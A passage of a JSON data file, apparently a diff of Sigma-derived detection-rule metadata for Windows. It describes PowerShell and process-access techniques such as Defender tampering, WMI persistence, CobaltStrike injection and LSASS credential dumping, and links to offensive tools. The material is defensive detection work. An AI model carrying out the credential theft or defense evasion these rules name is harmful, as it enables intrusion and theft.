"falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_tamper_defender.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", - "https://bidouillesecurity.com/disable-windows-defender-in-powershell/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_defender.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "14c71865-6cd3-44ae-adaa-1db923fae5f2", - "value": "Tamper Windows Defender - ScriptBlockLogging" - }, - { - "description": "Detects attempts to remove windows defender configuration using the 'MpPreference' cmdlet", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/05", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_tamper_defender_remove_mppreference.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_defender_remove_mppreference.yml", - "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "ae2bdd58-0681-48ac-be7f-58ab4e593458", - "value": "Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging" - }, - { - "description": "Adversaries may communicate using a protocol and port paring that are typically not associated.\nFor example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443.\n", - "meta": { - "author": "frack113", - "creation_date": "2022/01/23", - "falsepositive": [ - "Legitimate administrative script" - ], - "filename": "posh_ps_test_netconnection.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_test_netconnection.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1571/T1571.md#atomic-test-1---testing-usage-of-uncommonly-used-port-with-powershell", - "https://docs.microsoft.com/en-us/powershell/module/nettcpip/test-netconnection?view=windowsserver2022-ps" - ], - "tags": [ - "attack.command_and_control", - "attack.t1571" - ] - }, - "uuid": "adf876b3-f1f8-4aa9-a4e4-a64106feec06", - "value": "Testing Usage of Uncommonly Used Port" - }, - { - "description": "Adversaries may modify file time attributes to hide new or changes to existing files.\nTimestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/08/03", - "falsepositive": [ - "Legitimate admin script" - ], - "filename": "posh_ps_timestomp.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_timestomp.yml", - "https://www.offensive-security.com/metasploit-unleashed/timestomp/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.006" - ] - }, - "uuid": "c6438007-e081-42ce-9483-b067fbef33c3", - "value": "Powershell Timestomp" - }, - { - "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles.", - "meta": { - "author": "frack113", - "creation_date": "2021/08/18", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_trigger_profiles.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.013/T1546.013.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_trigger_profiles.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1546.013" - ] - }, - "uuid": "05b3e303-faf0-4f4a-9b30-46cc13e69152", - "value": "Powershell Trigger Profiles by Add_Content" - }, - { - "description": "Detects the use of various web request POST or PUT methods (including aliases) via Windows PowerShell command", - "meta": { - "author": "frack113", - "creation_date": "2022/01/07", - "falsepositive": [ - "Legitimate script" - ], - "filename": "posh_ps_upload.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_upload.yml", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2", - "https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1020/T1020.md" - ], - "tags": [ - "attack.exfiltration", - "attack.t1020" - ] - }, - "uuid": "d2e3f2f6-7e09-4bf2-bc5d-90186809e7fb", - "value": "Windows PowerShell Upload Web Request" - }, - { - "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/17", - "falsepositive": [ - "Rare intended use of hidden services", - "Rare FP could occure due to the non linearity of the ScriptBlockText log" - ], - "filename": "posh_ps_using_set_service_to_hide_services.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", - "https://twitter.com/Alh4zr3d/status/1580925761996828672", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_using_set_service_to_hide_services.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1574.011" - ] - }, - "uuid": "953945c5-22fe-4a92-9f8a-a9edc1e522da", - "value": "Abuse of Service Permissions to Hide Services Via Set-Service - PS" - }, - { - "description": "Detects the use of various web request methods (including aliases) via Windows PowerShell command", - "meta": { - "author": "James Pemberton / @4A616D6573", - "creation_date": "2019/10/24", - "falsepositive": [ - "Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer." - ], - "filename": "posh_ps_web_request.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_web_request.yml", - "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "1139d2e2-84b1-4226-b445-354492eba8ba", - "value": "Windows PowerShell Web Request" - }, - { - "description": "Detects the execution of an MSI file using PowerShell and the WMI Win32_Product class", - "meta": { - "author": "frack113", - "creation_date": "2022/04/24", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_win32_product_install_msi.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win32_product_install_msi.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.007" - ] - }, - "uuid": "91109523-17f0-4248-a800-f81d9e7c081d", - "value": "PowerShell WMI Win32_Product Install MSI" - }, - { - "description": "Detects when a user disables the Windows Firewall via a Profile to help evade defense.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/10/12", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_windows_firewall_profile_disabled.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "http://woshub.com/manage-windows-firewall-powershell/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_windows_firewall_profile_disabled.yml", - "https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell", - "https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html", - "http://powershellhelp.space/commands/set-netfirewallrule-psv5.php", - "https://docs.microsoft.com/en-us/powershell/module/netsecurity/set-netfirewallprofile?view=windowsserver2019-ps" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ] - }, - "uuid": "488b44e7-3781-4a71-888d-c95abfacf44d", - "value": "Windows Firewall Profile Disabled" - }, - { - "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.\nRegistry entries in HKLM\\Software[Wow6432Node]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are\nused to manage additional helper programs and functionalities that support Winlogon. Malicious modifications to these Registry keys may cause Winlogon to\nload and execute malicious DLLs and/or executables.\n", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2019/10/21", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_winlogon_helper_dll.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_winlogon_helper_dll.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md" - ], - "tags": [ - "attack.persistence", - "attack.t1547.004" - ] - }, - "uuid": "851c506b-6b7c-4ce2-8802-c703009d03c0", - "value": "Winlogon Helper DLL" - }, - { - "description": "Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/16", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_win_defender_exclusions_added.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win_defender_exclusions_added.yml", - "https://www.elastic.co/guide/en/security/current/windows-defender-exclusions-added-via-powershell.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562", - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "c1344fa2-323b-4d2e-9176-84b4d4821c88", - "value": "Windows Defender Exclusions Added via Powershell" - }, - { - "description": "Detects parameters used by WMImplant", - "meta": { - "author": "NVISO", - "creation_date": "2020/03/26", - "falsepositive": [ - "Administrative scripts that use the same keywords." - ], - "filename": "posh_ps_wmimplant.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmimplant.yml", - "https://github.com/FortyNorthSecurity/WMImplant" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "attack.t1059.001" - ] - }, - "uuid": "8028c2c3-e25a-46e3-827f-bbb5abf181d7", - "value": "WMImplant Hack Tool" - }, - { - "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.", - "meta": { - "author": "frack113", - "creation_date": "2021/08/19", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_wmi_persistence.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/persistence/Persistence.psm1#L545", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_persistence.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.003/T1546.003.md" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1546.003" - ] - }, - "uuid": "9e07f6e7-83aa-45c6-998e-0af26efd0a85", - "value": "Powershell WMI Persistence" - }, - { - "description": "Detects known WMI recon method to look for unquoted service paths, often used by pentest inside of powershell scripts attackers enum scripts", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/20", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_wmi_unquoted_service_search.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_unquoted_service_search.yml", - "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", - "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ] - }, - "uuid": "09658312-bc27-4a3b-91c5-e49ab9046d1b", - "value": "WMIC Unquoted Services Path Lookup" - }, - { - "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n", - "meta": { - "author": "frack113", - "creation_date": "2022/01/19", - "falsepositive": [ - "Legitimate administrative script" - ], - "filename": "posh_ps_xml_iex.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_xml_iex.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-8---powershell-xml-requests" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "6c6c6282-7671-4fe9-a0ce-a2dcebdc342b", - "value": "Powershell XML Execute Command" - }, - { - "description": "Detects shellcode injection by Metasploit's migrate and Empire's psinject", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2022/03/11", - "falsepositive": [ - "Empire's csharp_exe payload uses 0x1f3fff for process enumeration as well" - ], - "filename": "process_access_win_shellcode_inject_msf_empire.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/process_access_win_shellcode_inject_msf_empire.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ] - }, - "uuid": "250ae82f-736e-4844-a68b-0b5e8cc887da", - "value": "Shellcode Injection" - }, - { - "description": "Detects suspicious access to Lsass handle via a call trace to \"seclogon.dll\"", - "meta": { - "author": "Samir Bousseaden (original elastic rule), Nasreddine Bencherchali (sigma)", - "creation_date": "2022/06/29", - "falsepositive": [ - "Unknown" - ], - "filename": "process_access_win_susp_seclogon.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/process_access_win_susp_seclogon.yml", - "https://github.com/elastic/detection-rules/blob/2bc1795f3d7bcc3946452eb4f07ae799a756d94e/rules/windows/credential_access_lsass_handle_via_malseclogon.toml", - "https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html", - "https://twitter.com/SBousseaden/status/1541920424635912196" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "472159c5-31b9-4f56-b794-b766faa8b0a7", - "value": "Suspicious LSASS Access Via MalSecLogon" - }, - { - "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", - "meta": { - "author": "Nik Seetharaman", - "creation_date": "2018/07/16", - "falsepositive": [ - "Legitimate CMSTP use (unlikely in modern enterprise environments)" - ], - "filename": "proc_access_win_cmstp_execution_by_access.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cmstp_execution_by_access.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.003", - "attack.execution", - "attack.t1559.001", - "attack.g0069", - "attack.g0080", - "car.2019-04-001" - ] - }, - "uuid": "3b4b232a-af90-427c-a22f-30b0c0837b95", - "value": "CMSTP Execution Process Access" - }, - { - "description": "Detects a typical pattern of a CobaltStrike BOF which inject into other processes", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_access_win_cobaltstrike_bof_injection_pattern.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/boku7/injectAmsiBypass", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cobaltstrike_bof_injection_pattern.yml", - "https://github.com/boku7/spawn" - ], - "tags": [ - "attack.execution", - "attack.t1106", - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "09706624-b7f6-455d-9d02-adee024cee1d", - "value": "CobaltStrike BOF Injection Pattern" - }, - { - "description": "Detects processes requesting access to LSASS memory via suspicious access masks. This is typical for credentials dumping tools", - "meta": { - "author": "Florian Roth, Roberto Rodriguez, Dimitrios Slamaris, Mark Russinovich, Thomas Patzke, Teymur Kheirkhabarov, Sherif Eldeeb, James Dickenson, Aleksey Potapov, oscd.community (update)", - "creation_date": "2017/02/16", - "falsepositive": [ - "Legitimate software accessing LSASS process for legitimate reason; please add more filters" - ], - "filename": "proc_access_win_cred_dump_lsass_access.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cred_dump_lsass_access.yml", - "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", - "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0002", - "car.2019-04-004" - ] - }, - "uuid": "32d0d3e2-e58d-4d41-926b-18b520b2b32d", - "value": "Credential Dumping Tools Accessing LSASS Memory" - }, - { - "description": "Detects the usage of the direct syscall of NtOpenProcess which might be done from a CobaltStrike BOF.", - "meta": { - "author": "Christian Burkard, Tim Shelton", - "creation_date": "2021/07/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_access_win_direct_syscall_ntopenprocess.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_direct_syscall_ntopenprocess.yml", - "https://medium.com/falconforce/falconfriday-direct-system-calls-and-cobalt-strike-bofs-0xff14-741fa8e1bdd6" - ], - "tags": [ - "attack.execution", - "attack.t1106" - ] - }, - "uuid": "3f3f3506-1895-401b-9cc3-e86b16e630d0", - "value": "Direct Syscall of NtOpenProcess" - }, - { - "description": "Detects the use of SysmonEnte, a tool to attack the integrity of Sysmon", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/09/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_access_win_hack_sysmonente.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/codewhitesec/SysmonEnte/", - "https://codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.html", - "https://github.com/codewhitesec/SysmonEnte/blob/main/screens/1.png", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hack_sysmonente.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ] - }, - "uuid": "d29ada0f-af45-4f27-8f32-f7b77c3dbc4e", - "value": "SysmonEnte Usage" - }, - { - "description": "Detects HandleKatz opening LSASS to duplicate its handle to later dump the memory without opening any new handles", - "meta": { - "author": "Bhabesh Raj (rule), @thefLinkk", - "creation_date": "2022/06/27", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_access_win_handlekatz_lsass_access.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/codewhitesec/HandleKatz", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_handlekatz_lsass_access.yml" - ], - "tags": [ - "attack.execution", - "attack.t1106", - "attack.defense_evasion", - "attack.t1003.001" - ] - }, - "uuid": "b1bd3a59-c1fd-4860-9f40-4dd161a7d1f5", - "value": "HandleKatz Duplicating LSASS Handle" - }, - { - "description": "Detects suspect access to svchost process memory such as that used by Invoke-Phantom to kill the winRM windows event logging service.", - "meta": { - "author": "Tim Burrell", - "creation_date": "2020/01/02", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_access_win_invoke_phantom.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/timbmsft/status/900724491076214784", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_invoke_phantom.yml", - "https://github.com/hlldz/Invoke-Phant0m" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ] - }, - "uuid": "166e9c50-8cd9-44af-815d-d1f0c0e90dde", - "value": "Suspect Svchost Memory Asccess" - }, - { - "description": "Detects the access to processes by other suspicious processes which have reflectively loaded libraries in their memory space.\nAn example is SilentTrinity C2 behaviour. Generally speaking, when Sysmon EventID 10 cannot reference a stack call to a dll loaded from disk (the standard way),\nit will display \"UNKNOWN\" as the module name. Usually this means the stack call points to a module that was reflectively loaded in memory.\nAdding to this, it is not common to see such few calls in the stack (ntdll.dll --> kernelbase.dll --> unknown) which essentially means that\nmost of the functions required by the process to execute certain routines are already present in memory, not requiring any calls to external libraries.\nThe latter should also be considered suspicious.\n", - "meta": { - "author": "Perez Diego (@darkquassar), oscd.community, Jonhnathan Ribeiro", - "creation_date": "2019/10/27", - "falsepositive": [ - "SysInternals Process Explorer" - ], - "filename": "proc_access_win_in_memory_assembly_execution.yml", - "level": "low", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_in_memory_assembly_execution.yml", - "https://azure.microsoft.com/en-ca/blog/detecting-in-memory-attacks-with-sysmon-and-azure-security-center/" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1055.001", - "attack.t1055.002" - ] - }, - "uuid": "5f113a8f-8b61-41ca-b90f-d374fa7e4a39", - "value": "Suspicious In-Memory Module Execution" - }, - { - "description": "Detects LSASS process access by LaZagne for credential dumping.", - "meta": { - "author": "Bhabesh Raj, Jonhnathan Ribeiro", - "creation_date": "2020/09/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_access_win_lazagne_cred_dump_lsass_access.yml", - "level": "critical", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lazagne_cred_dump_lsass_access.yml", - "https://twitter.com/bh4b3sh/status/1303674603819081728" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0349" - ] - }, - "uuid": "4b9a8556-99c4-470b-a40c-9c8d02c77ed0", - "value": "Credential Dumping by LaZagne" - }, - { - "description": "Detects the process injection of a LittleCorporal generated Maldoc.", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_access_win_littlecorporal_generated_maldoc.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/connormcgarr/LittleCorporal", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_littlecorporal_generated_maldoc.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002", - "attack.t1055.003" - ] - }, - "uuid": "7bdde3bf-2a42-4c39-aa31-a92b3e17afac", - "value": "LittleCorporal Generated Maldoc Injection" - }, - { - "description": "COM interface (EditionUpgradeManager) that is not used by standard executables.", - "meta": { - "author": "oscd.community, Dmitry Uchakin", - "creation_date": "2020/10/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_access_win_load_undocumented_autoelevated_com_interface.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://gist.github.com/hfiref0x/de9c83966623236f5ebf8d9ae2407611", - "https://www.snip2code.com/Snippet/4397378/UAC-bypass-using-EditionUpgradeManager-C/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_load_undocumented_autoelevated_com_interface.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "fb3722e4-1a06-46b6-b772-253e2e7db933", - "value": "Load Undocumented Autoelevated COM Interface" - }, - { - "description": "Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/10/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_access_win_lsass_dump_comsvcs_dll.yml", - "level": "critical", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/shantanukhande/status/1229348874298388484", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_dump_comsvcs_dll.yml", - "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "a49fa4d5-11db-418c-8473-1e014a8dd462", - "value": "Lsass Memory Dump via Comsvcs DLL" - }, - { - "description": "Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.", - "meta": { - "author": "Samir Bousseaden, Michael Haag", - "creation_date": "2019/04/03", - "falsepositive": [ - "False positives are present when looking for 0x1410. Exclusions may be required." - ], - "filename": "proc_access_win_lsass_memdump.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", - "https://research.splunk.com/endpoint/windows_possible_credential_dumping/", - "https://blog.menasec.net/2019/02/threat-hunting-21-procdump-or-taskmgr.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.001/T1003.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0002" - ] - }, - "uuid": "5ef9853e-4d0e-4a70-846f-a9ca37d876da", - "value": "LSASS Memory Dump" - }, - { - "description": "Detects a possible process memory dump that uses the white-listed filename like TrolleyExpress.exe as a way to dump the lsass process memory without Microsoft Defender interference", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/10", - "falsepositive": [ - "Unlikely, since these tools shouldn't access lsass.exe at all" - ], - "filename": "proc_access_win_lsass_memdump_evasion.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz", - "https://twitter.com/_xpn_/status/1491557187168178176", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump_evasion.yml", - "https://twitter.com/mrd0x/status/1460597833917251595" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0002" - ] - }, - "uuid": "4be8b654-0c01-4c9d-a10c-6b28467fc651", - "value": "LSASS Access from White-Listed Processes" - }, - { - "description": "Detects a possible process memory dump based on a keyword in the file name of the accessing process", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/10", - "falsepositive": [ - "Rare programs that contain the word dump in their name and access lsass" - ], - "filename": "proc_access_win_lsass_memdump_indicators.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz", - "https://twitter.com/_xpn_/status/1491557187168178176", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump_indicators.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0002" - ] - }, - "uuid": "9bd012ee-0dff-44d7-84a0-aa698cfd87a3", - "value": "LSASS Memory Access by Tool Named Dump" - }, - { - "description": "Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.", - "meta": { - "author": "Florian Roth", - "creation_date": "2012/06/27", - "falsepositive": [ - "Actual failures 